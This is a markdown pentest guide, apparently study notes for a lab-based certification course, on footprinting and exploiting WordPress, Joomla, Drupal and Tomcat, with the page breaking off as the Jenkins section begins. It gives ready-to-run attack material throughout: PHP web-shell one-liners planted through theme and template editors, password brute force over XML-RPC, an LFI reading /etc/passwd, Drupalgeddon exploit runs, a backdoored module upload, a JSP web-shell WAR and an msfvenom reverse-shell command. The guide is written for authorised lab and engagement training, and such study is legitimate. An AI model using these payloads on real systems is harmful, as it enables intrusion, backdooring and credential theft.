daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

attacking-common-applications-guide.md (81048B)


      1 ---
      2 title: "Attacking Common Applications — Full Guide"
      3 description: "Detailed CPTS walkthrough for footprinting and exploiting common apps: WordPress, Joomla, Drupal, Tomcat, Jenkins, Splunk, PRTG, osTicket, GitLab, CGI/Shellshock, thick clients, ColdFusion, IIS tilde, LDAP injection, mass assignment, and connection-string recovery."
      4 category: pentest-workflow
      5 subcategory: "Companion Guides"
      6 order: 24
      7 tags: ["htb", "cpts", "attacking-common", "applications", "wordpress", "joomla", "drupal", "tomcat", "jenkins", "splunk", "prtg", "osticket", "gitlab", "shellshock", "coldfusion", "iis", "ldap", "thick-client", "pentest-workflow"]
      8 tools: ["nmap", "eyewitness / aquatone / httpx", "wpscan", "droopescan", "gobuster / feroxbuster / ffuf", "metasploit", "msfvenom", "curl / searchsploit", "dnSpy / de4dot / x64dbg / gdb-peda", "iis_shortname_scanner", "ldapsearch", "nxc / crackmapexec", "burp suite"]
      9 difficulty: intermediate
     10 updated: "2026-09-15"
     11 source: "vault:HackTheBox/Academy/CPTS Path/24-Attacking-Common-Applications"
     12 ---
     13 
     14 [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive](/sheets/pentest-workflow/web-enumeration-and-exploitation)
     15 
     16 # Attacking Common Applications — Full Guide `fas:ClipboardList`
     17 
     18 > [!dashboard] What this is
     19 > The long-form companion to the Attacking Common Applications cheat sheet. The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains *why* each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you're learning the material or writing it up.
     20 
     21 Off-the-shelf applications are the softest part of most networks. A company patches its OS fleet and hardens AD, then leaves a Tomcat manager on `tomcat:tomcat`, a Splunk trial that quietly lost its login, or a WordPress plugin that hasn't shipped a fix since 2016. These apps sit on both the perimeter and the internal network, and one weak credential or forgotten install is often the whole foothold.
     22 
     23 Every target in this module answers to the same loop, so learn the loop rather than memorising eleven separate exploits:
     24 
     25 <figure class="flow plate corners">
     26   <figcaption class="flow__cap"><span class="flow__kind">App attack loop</span><span class="flow__dir">TD</span></figcaption>
     27   <div class="flow__body">
     28     <div class="flow__diagram" data-dir="td">
     29       <div class="flow-rank"><div class="flow-node is-entry">Sweep web ports<span class="sub">80,443,8000,8080,8180,8500,8009,8089,10000</span></div></div>
     30       <div class="flow-edge"></div>
     31       <div class="flow-rank"><div class="flow-node">Fingerprint app + exact version<span class="sub">(headers, generator meta, changelog,</span><span class="sub">default paths, favicon)</span></div></div>
     32       <div class="flow-edge"></div>
     33       <div class="flow-rank"><div class="flow-node">Reach the admin/management console<span class="sub">(default creds → weak-password spray → OSINT)</span></div></div>
     34       <div class="flow-edge"></div>
     35       <div class="flow-rank"><div class="flow-node is-decision">Turn access into code execution</div></div>
     36       <div class="flow-branches">
     37         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Built-in feature:<span class="sub">theme/template editor, script console,</span><span class="sub">WAR/app/plugin upload, notification exec</span></div></div>
     38         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Version-specific CVE<span class="sub">(traversal, unauth upload, deserialisation)</span></div></div>
     39       </div>
     40       <div class="flow-join"></div>
     41       <div class="flow-rank"><div class="flow-node is-goal">Shell as the service account<span class="sub">(often SYSTEM or root)</span></div></div>
     42       <div class="flow-edge"></div>
     43       <div class="flow-rank"><div class="flow-node">Loot creds → pivot →<span class="sub">local privilege escalation</span></div></div>
     44     </div>
     45   </div>
     46 </figure>
     47 
     48 > [!danger] Authorised testing only
     49 > Every technique below is full exploitation — unauth RCE, credential theft, backdoored uploads. Run it only against systems you are explicitly authorised to test (a lab, a signed engagement). Three things to keep honest on a real assessment:
     50 > 1. **Admin-console RCE plants a live backdoor.** A web shell in `404.php`, an uploaded WAR, a malicious Splunk app — each is a real backdoor on a real box. Track every artefact you drop, its full path, and remove it at cleanup.
     51 > 2. **Some chains are destructive.** Joomla's CVE-2019-10945 can *delete* directories; Drupalgeddon writes to the database. Prefer read-only proof where you can.
     52 > 3. **OSINT and breach-data lookups touch third parties.** Keep them inside the rules of engagement.
     53 
     54 > [!success]+ Landing a shell — implant + hand-off
     55 > `fas:Spider`
     56 > Match the web-shell language to the server, then hand off to the right privesc guide:
     57 > - **PHP** (WordPress, Joomla, Drupal, osTicket): drop [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) or a one-line `system($_GET[...])`.
     58 > - **JSP** (Tomcat, ColdFusion-on-Java): package [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) as a WAR.
     59 > - **ASP/ASPX** (IIS): VBScript → `.asp`, C# → `.aspx`. Cross the wires and IIS answers `Server Error in '/' Application`.
     60 > - **Windows app host** (IIS, PRTG, Jenkins-on-Windows, ColdFusion): [Windows PrivEsc](/sheets/pentest-workflow/privilege-escalation) — service accounts here almost always hold `SeImpersonatePrivilege`.
     61 > - **Linux app host** (WordPress, Drupal, GitLab, Splunk, CGI): [Linux PrivEsc](/sheets/privilege-escalation/linux-privesc).
     62 > Full shell catalogue and handler notes: [Web Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit).
     63 
     64 ---
     65 
     66 ## 1 · Application discovery at scale `fas:Terminal`
     67 
     68 Browsing every `IP:port` by hand does not scale past a handful of hosts. The workable approach is two Nmap passes feeding a screenshotter, so a wall of open ports becomes a ranked list of applications worth opening.
     69 
     70 <figure class="flow plate corners">
     71   <figcaption class="flow__cap"><span class="flow__kind">Discovery at scale</span><span class="flow__dir">LR</span></figcaption>
     72   <div class="flow__body">
     73     <div class="flow__diagram" data-dir="lr">
     74       <div class="flow-rank"><div class="flow-node is-entry">Scope list</div></div>
     75       <div class="flow-edge"></div>
     76       <div class="flow-rank"><div class="flow-node">Fast web-port sweep<span class="sub">(-p 80,443,8000,8080,8180,8888,10000)</span></div></div>
     77       <div class="flow-edge"></div>
     78       <div class="flow-rank"><div class="flow-node">Targeted -sV on responders<span class="sub">(this is what names Splunk/PRTG)</span></div></div>
     79       <div class="flow-edge"></div>
     80       <div class="flow-rank"><div class="flow-node">Screenshot triage<span class="sub">EyeWitness / Aquatone / gowitness</span></div></div>
     81       <div class="flow-edge"></div>
     82       <div class="flow-rank"><div class="flow-node">Review high-value hits first<span class="sub">(dev/qa/acc vhosts on top)</span></div></div>
     83       <div class="flow-edge"></div>
     84       <div class="flow-rank"><div class="flow-node is-goal">Per-app footprint + exploit</div></div>
     85     </div>
     86   </div>
     87 </figure>
     88 
     89 Lab exercises with FQDN vhosts need `/etc/hosts` entries first, since every vhost resolves to the one spawned IP:
     90 
     91 ```bash
     92 IP=10.129.42.195
     93 printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts
     94 ```
     95 
     96 Sweep the scope for the ports web apps and their management consoles live on, writing all three Nmap formats so the XML can feed a screenshotter:
     97 
     98 ```bash
     99 sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list
    100 ```
    101 
    102 `--open` drops closed/filtered noise; `-oA` writes `.nmap/.gnmap/.xml`; `-iL` reads targets from a file. Then run version detection on anything that answered — this is the step that turns "http on a weird port" into "Splunkd on 8000, PRTG on 8080":
    103 
    104 ```bash
    105 sudo nmap --open -sV 10.129.201.50
    106 ```
    107 
    108 ```
    109 80/tcp   open  http     Microsoft IIS httpd 10.0
    110 8000/tcp open  http     Splunkd httpd
    111 8080/tcp open  http     Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
    112 8089/tcp open  ssl/http Splunkd httpd (free license; remote login disabled)
    113 ```
    114 
    115 Feed the XML to a screenshotter and review the report — high-value targets surface first, and identical default landing pages cluster together so you can skip a fleet of clones:
    116 
    117 ```bash
    118 # EyeWitness (Selenium-driven, ships on Kali)
    119 eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
    120 
    121 # Aquatone (pipe the same Nmap XML)
    122 cat web_discovery.xml | ./aquatone -nmap
    123 ```
    124 
    125 > [!tip]+ Modern triage — httpx + nuclei
    126 > `fas:Lightbulb`
    127 > EyeWitness and Aquatone still work and still ship on Kali, but the Go tooling is faster and better maintained. `httpx -screenshot` probes and fingerprints huge lists quickly and pipes straight into `nuclei` for follow-on scanning; `gowitness` is a headless-Chrome screenshotter that sets up in seconds. Fold Splunk's `Splunkd httpd`, PRTG's `Indy httpd`, and Tomcat's `Server` banner into a `nuclei` fingerprint pass across the whole scope.
    128 
    129 > [!info] Flag the non-prod vhosts first
    130 > Hostnames with `dev`, `qa`, `acc`, `stage`, or `test` are patched last and gated loosest — verbose errors, debug modes, half-finished features. When the screenshot report lists a dozen sites, start there.
    131 
    132 ---
    133 
    134 ## 2 · WordPress `fas:Terminal` — PHP, port 80
    135 
    136 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    137   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    138     <img src="/diagrams/attacking-common-applications/wordpress.svg" alt="WordPress logo" style="height:54px;width:auto" loading="lazy" decoding="async" />
    139   </span>
    140   <figcaption><span>WordPress · world's most common CMS</span></figcaption>
    141 </figure>
    142 
    143 WordPress runs roughly a third of the web, so it turns up on almost every external test. The risk lives in its ~50k-plugin ecosystem, not in core — over half of known WordPress CVEs are plugin or theme bugs. Two reliable routes to code execution: brute an admin login and use the built-in Theme Editor, or exploit a vulnerable plugin directly.
    144 
    145 <figure class="flow plate corners">
    146   <figcaption class="flow__cap"><span class="flow__kind">WordPress to RCE</span><span class="flow__dir">TD</span></figcaption>
    147   <div class="flow__body">
    148     <div class="flow__diagram" data-dir="td">
    149       <div class="flow-rank"><div class="flow-node is-entry">Footprint: robots.txt,<span class="sub">page source, wp-admin redirect</span></div></div>
    150       <div class="flow-edge"></div>
    151       <div class="flow-rank"><div class="flow-node">Enumerate plugins/themes/users</div></div>
    152       <div class="flow-edge"></div>
    153       <div class="flow-rank"><div class="flow-node is-decision">WPScan + manual review</div></div>
    154       <div class="flow-branches">
    155         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Weak admin creds</span></div><div class="flow-node">XML-RPC / wp-login brute force</div><div class="flow-edge"></div><div class="flow-node">Appearance → Theme Editor →<span class="sub">edit 404.php of an inactive theme</span></div><div class="flow-edge"></div><div class="flow-node">system($_GET[...]) web shell</div></div>
    156         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Vulnerable plugin</span></div><div class="flow-node">Direct exploit<span class="sub">(mail-masta LFI, wpDiscuz upload)</span></div></div>
    157       </div>
    158       <div class="flow-join"></div>
    159       <div class="flow-rank"><div class="flow-node is-goal">www-data shell</div></div>
    160     </div>
    161   </div>
    162 </figure>
    163 
    164 **Footprint.** The `wp-admin`/`wp-content` paths (also in `robots.txt`) are the fastest tell — hitting `/wp-admin` redirects to `wp-login.php`. Grepping the homepage source reveals the active theme, every enqueued plugin, and each version string:
    165 
    166 ```bash
    167 curl -s http://blog.inlanefreight.local | grep -Ei 'wordpress|themes|plugins'
    168 #  <meta name="generator" content="WordPress 5.8" />
    169 #  ...wp-content/themes/transport-gravity/...   ?ver=5.8
    170 ```
    171 
    172 A directory listing on `wp-content/plugins/<plugin>/` often exposes a `readme.txt` that pins the exact plugin version for a CVE lookup. WordPress's default login also leaks valid usernames: "unknown user" and "wrong password" produce different errors — an enumeration oracle WPScan drives with `--enumerate u`.
    173 
    174 **Enumerate with WPScan.** An API token cross-references identified versions against the live vuln database (free tier: 75 requests/day):
    175 
    176 ```bash
    177 sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN>
    178 #  --enumerate with no arg = plugins, themes, users, media, backups
    179 #  --enumerate ap = all plugins   ·   --enumerate u = users
    180 ```
    181 
    182 > [!warning] Scanners and manual review are complementary
    183 > In the module's own run, WPScan corrected the theme guess and found a second user (`john`) — but *missed* two plugins (wpDiscuz, Contact Form 7) that a plain `curl | grep` caught. Always do both. `waybackurls` can also surface plugin paths that were unlinked but never deleted from disk — exactly what left mail-masta exploitable.
    184 
    185 **Brute force over XML-RPC.** `xmlrpc.php` accepts many login attempts per request, so it is far faster than hammering `wp-login.php`:
    186 
    187 ```bash
    188 sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
    189 #  [SUCCESS] - john / firebird1
    190 ```
    191 
    192 **RCE via the Theme Editor.** Any Administrator can edit theme PHP in the browser — admin is effectively RCE. Edit an *inactive* theme so you don't break the live site, and use an unguessable parameter name so a passer-by can't reuse your shell:
    193 
    194 ```php
    195 // Appearance → Theme Editor → Twenty Nineteen → 404.php
    196 system($_GET[0]);
    197 ```
    198 ```bash
    199 curl "http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id"
    200 #  uid=33(www-data) gid=33(www-data) groups=33(www-data)
    201 ```
    202 
    203 The whole flow is automated by `exploit/unix/webapp/wp_admin_shell_upload` (uploads a malicious plugin carrying a PHP Meterpreter, then self-cleans on session close).
    204 
    205 **Vulnerable plugins, no login needed.**
    206 
    207 ```bash
    208 # mail-masta — unauthenticated LFI (pl= goes straight into include())
    209 curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
    210 
    211 # wpDiscuz CVE-2020-24186 — client-side-only MIME check → PHP upload
    212 python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
    213 curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id"
    214 ```
    215 
    216 ---
    217 
    218 ## 3 · Joomla `fas:Terminal` — PHP/MySQL
    219 
    220 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    221   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    222     <img src="/diagrams/attacking-common-applications/joomla.svg" alt="Joomla logo" style="height:58px;width:auto" loading="lazy" decoding="async" />
    223   </span>
    224   <figcaption><span>Joomla · PHP/MySQL CMS</span></figcaption>
    225 </figure>
    226 
    227 Third-most-used CMS. Unlike WordPress, the login returns a generic error for any wrong field, so username enumeration doesn't work — footprinting leans on files, and brute forcing targets the known `admin` account with a password list.
    228 
    229 <figure class="flow plate corners">
    230   <figcaption class="flow__cap"><span class="flow__kind">Joomla to RCE</span><span class="flow__dir">TD</span></figcaption>
    231   <div class="flow__body">
    232     <div class="flow__diagram" data-dir="td">
    233       <div class="flow-rank"><div class="flow-node is-entry">Footprint: generator meta,<span class="sub">README.txt, robots.txt</span></div></div>
    234       <div class="flow-edge"></div>
    235       <div class="flow-rank"><div class="flow-node">Version: joomla.xml, cache.xml</div></div>
    236       <div class="flow-edge"></div>
    237       <div class="flow-rank"><div class="flow-node">droopescan / JoomlaScan</div></div>
    238       <div class="flow-edge"></div>
    239       <div class="flow-rank"><div class="flow-node is-decision">Admin access?</div></div>
    240       <div class="flow-branches">
    241         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Weak/default admin</span></div><div class="flow-node">Templates → Customise → error.php</div><div class="flow-edge"></div><div class="flow-node is-goal">system($_GET[...]) web shell</div></div>
    242         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No admin</span></div><div class="flow-node is-danger">CVE-2019-10945 traversal<span class="sub">(auth; also deletes files)</span></div></div>
    243       </div>
    244     </div>
    245   </div>
    246 </figure>
    247 
    248 **Footprint and version.** The `generator` meta tag, `robots.txt` (references `/administrator/`), and `README.txt` are the quick tells. Two XML files leak the exact version when readable:
    249 
    250 ```bash
    251 curl -s http://dev.inlanefreight.local/ | grep Joomla
    252 curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
    253 #  <version>3.9.4</version>          (also plugins/system/cache/cache.xml)
    254 ```
    255 
    256 `whatweb` is a fast passive cross-check. `droopescan` has only light Joomla support — expect useful paths, not a full plugin list:
    257 
    258 ```bash
    259 droopescan scan joomla --url http://dev.inlanefreight.local/
    260 ```
    261 
    262 > [!tip] JoomlaScan is Python 2.7 and effectively abandoned
    263 > It still runs but treat it as supplementary. There's no drop-in successor with the same feature set — `droopescan` plus manual `curl`/`whatweb` is the more reliable Joomla combination now.
    264 
    265 **Brute the admin login** (generic error → spray passwords against `admin`):
    266 
    267 ```bash
    268 sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
    269 #  Success: admin:admin
    270 ```
    271 
    272 **RCE via the template Customise editor** — same idea as WordPress's Theme Editor:
    273 
    274 ```php
    275 // Configuration → Templates → protostar → Customise → error.php
    276 system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
    277 ```
    278 ```bash
    279 curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"
    280 ```
    281 
    282 **Pre-/post-auth fallback — CVE-2019-10945** (core 1.5.0–3.9.4): an authenticated directory traversal that lists and *deletes* arbitrary directories. Useful when the admin portal isn't externally reachable but you have a session another way. File deletion is destructive — avoid it on a live assessment.
    283 
    284 ```bash
    285 python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
    286 ```
    287 
    288 ---
    289 
    290 ## 4 · Drupal `fas:Terminal`
    291 
    292 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    293   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    294     <img src="/diagrams/attacking-common-applications/drupal.svg" alt="Drupal Druplicon logo" style="height:66px;width:auto" loading="lazy" decoding="async" />
    295   </span>
    296   <figcaption><span>Drupal · the Druplicon</span></figcaption>
    297 </figure>
    298 
    299 Smaller share overall but common in government and higher-ed. Its content model — every item is a "node" at `/node/<id>` — is a fingerprint on its own. Admin access alone isn't instant RCE here: you enable the PHP Filter module, upload a backdoored module, or use one of the three Drupalgeddon CVEs.
    300 
    301 <figure class="flow plate corners">
    302   <figcaption class="flow__cap"><span class="flow__kind">Drupal to RCE</span><span class="flow__dir">TD</span></figcaption>
    303   <div class="flow__body">
    304     <svg class="flow-svg" viewBox="0 0 1050 600" role="img" aria-label="Drupal footprint to droopescan to an admin-access decision branching to PHP Filter, manual install, backdoored module, or Drupalgeddon SQLi; the SQLi path feeds the PHP Filter node, and three RCE paths converge on a www-data shell">
    305       <path class="fedge" d="M525,88 L525,160" marker-end="url(#flow-arrow)" />
    306       <path class="fedge" d="M525,208 L525,280" marker-end="url(#flow-arrow)" />
    307       <path class="fedge" d="M525,328 L150,400" marker-end="url(#flow-arrow)" />
    308       <path class="fedge" d="M525,328 L400,400" marker-end="url(#flow-arrow)" />
    309       <path class="fedge" d="M525,328 L650,400" marker-end="url(#flow-arrow)" />
    310       <path class="fedge" d="M525,328 L900,400" marker-end="url(#flow-arrow)" />
    311       <path class="fedge" d="M260,424 L290,424" marker-end="url(#flow-arrow)" />
    312       <path class="fedge" d="M400,448 L525,520" marker-end="url(#flow-arrow)" />
    313       <path class="fedge" d="M650,448 L525,520" marker-end="url(#flow-arrow)" />
    314       <path class="fedge" d="M900,448 L525,520" marker-end="url(#flow-arrow)" />
    315       <g class="fnode is-entry"><rect class="fnode__box" x="405" y="40" width="240" height="48" /><text class="fnode__label" x="525" y="60" text-anchor="middle">Footprint: 'Powered by Drupal',<tspan class="sub" x="525" dy="15">CHANGELOG.txt, /node/&lt;id&gt;</tspan></text></g>
    316       <g class="fnode"><rect class="fnode__box" x="415" y="160" width="220" height="48" /><text class="fnode__label" x="525" y="188" text-anchor="middle">droopescan: version + modules</text></g>
    317       <g class="fnode is-decision"><rect class="fnode__box" x="425" y="280" width="200" height="48" /><text class="fnode__label" x="525" y="308" text-anchor="middle">Admin access?</text></g>
    318       <g class="fnode"><rect class="fnode__box" x="40" y="400" width="220" height="48" /><text class="fnode__label" x="150" y="420" text-anchor="middle">Drupalgeddon SQLi<tspan class="sub" x="150" dy="15">→ rogue admin</tspan></text></g>
    319       <g class="fnode"><rect class="fnode__box" x="290" y="400" width="220" height="48" /><text class="fnode__label" x="400" y="420" text-anchor="middle">Enable PHP Filter module<tspan class="sub" x="400" dy="15">→ Basic page with PHP code</tspan></text></g>
    320       <g class="fnode"><rect class="fnode__box" x="540" y="400" width="220" height="48" /><text class="fnode__label" x="650" y="420" text-anchor="middle">Install PHP Filter manually,<tspan class="sub" x="650" dy="15">then as above</tspan></text></g>
    321       <g class="fnode"><rect class="fnode__box" x="790" y="400" width="220" height="48" /><text class="fnode__label" x="900" y="420" text-anchor="middle">Upload backdoored module<tspan class="sub" x="900" dy="15">(shell.php + .htaccess)</tspan></text></g>
    322       <g class="fnode is-goal"><rect class="fnode__box" x="450" y="520" width="150" height="48" /><text class="fnode__label" x="525" y="548" text-anchor="middle">www-data shell</text></g>
    323       <g class="felabel"><rect class="felabel__box" x="306" y="356" width="62" height="16" /><text class="felabel__text" x="337" y="367" text-anchor="middle">No admin</text></g>
    324       <g class="felabel"><rect class="felabel__box" x="431" y="356" width="62" height="16" /><text class="felabel__text" x="462" y="367" text-anchor="middle">Drupal 7</text></g>
    325       <g class="felabel"><rect class="felabel__box" x="553" y="356" width="68" height="16" /><text class="felabel__text" x="587" y="367" text-anchor="middle">Drupal 8+</text></g>
    326       <g class="felabel"><rect class="felabel__box" x="672" y="356" width="80" height="16" /><text class="felabel__text" x="712" y="367" text-anchor="middle">Any version</text></g>
    327     </svg>
    328   </div>
    329 </figure>
    330 
    331 **Footprint.** `Powered by Drupal`, the Drupal logo, `CHANGELOG.txt`/`README.txt`, and `/node/<id>` URIs. Newer versions block `CHANGELOG.txt`, so a 404 there doesn't rule Drupal out — fall back to droopescan, which has mature Drupal support:
    332 
    333 ```bash
    334 curl -s http://drupal.inlanefreight.local | grep -i drupal
    335 curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""    # Drupal 7.57, 2018-02-21
    336 droopescan scan drupal -u http://drupal.inlanefreight.local
    337 ```
    338 
    339 **RCE — PHP Filter module (Drupal 7).** Ships with core but disabled. Enable it, then create a Basic page with the "PHP code" text format:
    340 
    341 ```php
    342 <?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>
    343 ```
    344 ```bash
    345 curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id"
    346 ```
    347 
    348 Drupal 8 removed the module from core — download and install it manually (`Reports → Available updates → Install new module`), then exploit identically.
    349 
    350 **RCE — backdoored module upload (any version).** Drupal blocks direct access to `/modules`, so bundle an `.htaccess` that re-enables it alongside your shell inside a legitimate module archive:
    351 
    352 ```bash
    353 wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz
    354 # shell.php:  <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?>
    355 # .htaccess:  <IfModule mod_rewrite.c>\n RewriteEngine On\n RewriteBase /\n</IfModule>
    356 mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/
    357 #  Manage → Extend → + Install new module → captcha.tar.gz
    358 curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
    359 ```
    360 
    361 **Drupalgeddon family:**
    362 
    363 ```bash
    364 # CVE-2014-3704 (Drupalgeddon) · pre-auth SQLi, 7.0–7.31 → inserts a rogue admin
    365 python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd
    366 #  msf: exploit/multi/http/drupal_drupageddon
    367 
    368 # CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1
    369 python3 drupalgeddon2.py       # edit the PoC's write step to drop a base64 PHP shell instead of hello.txt
    370 curl "http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
    371 
    372 # CVE-2018-7602 (Drupalgeddon3) · authenticated RCE (needs node-delete rights + session cookie)
    373 #  msf: set DRUPAL_SESSION <cookie> ; set DRUPAL_NODE 1 ; set VHOST drupal-acc.inlanefreight.local
    374 ```
    375 
    376 > [!tip] Prefer the Metasploit modules
    377 > The standalone Drupalgeddon PoCs are Python 2 (end-of-life). `drupal_drupageddon` and `drupal_drupageddon3` do the same job without a legacy interpreter on your attack box.
    378 
    379 ---
    380 
    381 ## 5 · Tomcat `fas:Terminal` — 8080/8180, AJP 8009
    382 
    383 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    384   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
    385     <img src="/diagrams/attacking-common-applications/tomcat.svg" alt="Apache Tomcat logo" style="height:58px;width:auto" loading="lazy" decoding="async" />
    386   </span>
    387   <figcaption><span>Apache Tomcat · Java servlet container</span></figcaption>
    388 </figure>
    389 
    390 Apache Tomcat serves Java servlets/JSP and is more common internally than externally. Weak creds on `/manager` or `/host-manager` let you deploy a WAR (a zipped JSP shell) through the GUI or API — near-instant RCE, usually as a very privileged service account.
    391 
    392 <figure class="flow plate corners">
    393   <figcaption class="flow__cap"><span class="flow__kind">Tomcat to RCE</span><span class="flow__dir">TD</span></figcaption>
    394   <div class="flow__body">
    395     <div class="flow__diagram" data-dir="td">
    396       <div class="flow-rank"><div class="flow-node is-entry">Footprint: Server header, /docs</div></div>
    397       <div class="flow-edge"></div>
    398       <div class="flow-rank"><div class="flow-node">Find /manager, /host-manager</div></div>
    399       <div class="flow-branches">
    400         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Brute the manager login</div><div class="flow-edge"><span class="flow-edge__label">Success</span></div><div class="flow-node">Deploy JSP-in-WAR<span class="sub">via GUI/API</span></div><div class="flow-edge"></div><div class="flow-node is-goal">Shell as Tomcat account<span class="sub">(often SYSTEM/root)</span></div></div>
    401         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">No manager</span></div><div class="flow-node">AJP 8009 → Ghostcat<span class="sub">CVE-2020-1938 file read</span></div><div class="flow-edge"></div><div class="flow-node">Read WEB-INF/web.xml, configs</div></div>
    402       </div>
    403     </div>
    404   </div>
    405 </figure>
    406 
    407 > [!info] Tomcat layout worth knowing
    408 > `conf/tomcat-users.xml` holds manager credentials and roles (`manager-gui`, `manager-script`, `manager-jmx`, `manager-status`). `webapps/<app>/WEB-INF/web.xml` is the deployment descriptor mapping routes to classes — a prime target for any file-read primitive.
    409 
    410 **Footprint and locate the manager.** The `Server` header leaks the version when a proxy hasn't stripped it; `/docs` is a reliable fallback. Content-discovery confirms the manager apps:
    411 
    412 ```bash
    413 curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat     # Apache Tomcat 9 (9.0.30)
    414 feroxbuster -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50
    415 #  /manager (302) · /host-manager (302)
    416 ```
    417 
    418 **Brute the manager login** (Basic Auth — creds are base64 `user:pass` in the `Authorization` header):
    419 
    420 ```bash
    421 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.129.201.58
    422 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
    423 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
    424 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
    425 msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
    426 #  [+] Login Successful: tomcat:admin
    427 ```
    428 
    429 **Deploy a WAR-packaged JSP shell.** A WAR is just a zip; Tomcat auto-extracts uploads and serves them at `/<archive-name>/`:
    430 
    431 ```bash
    432 wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
    433 zip -r backup.war cmd.jsp
    434 #  Manager → Deploy → backup.war
    435 curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id"     # uid=1001(tomcat)
    436 #  Reverse-shell WAR in one line:
    437 #  msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > backup.war
    438 ```
    439 
    440 Undeploy the app after use and record the upload path (`$CATALINA_HOME/webapps/`) for the report.
    441 
    442 **CVE-2020-1938 (Ghostcat)** — unauthenticated AJP file read on Tomcat < 9.0.31 / 8.5.51 / 7.0.100. The AJP connector (normally for front-end proxying) reads files under `webapps/` — not the whole filesystem, but enough to pull `WEB-INF/web.xml`:
    443 
    444 ```bash
    445 nmap -sV -p 8009,8080 app-dev.inlanefreight.local          # 8009 ajp13 Apache Jserv
    446 python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
    447 ```
    448 
    449 **CVE-2019-0232** — CGI Servlet command injection, Windows only, with `enableCmdLineArguments` set. The query string isn't sanitised before becoming command-line arguments, so `&` chains a command onto a legitimate `.bat`/`.cmd` CGI script. The special-char filter is bypassable with URL encoding:
    450 
    451 ```bash
    452 ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat   # welcome.bat
    453 #  http://10.129.204.227:8080/cgi/welcome.bat?&dir
    454 #  http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
    455 ```
    456 
    457 ---
    458 
    459 ## 6 · Jenkins `fas:Terminal` — 8080 (agent 5000)
    460 
    461 <figure class="diagram-plate corners" style="max-width:fit-content;margin-block:1.1rem">
    462   <span class="diagram-plate__image" style="display:flex;justify-content:center;min-width:200px">
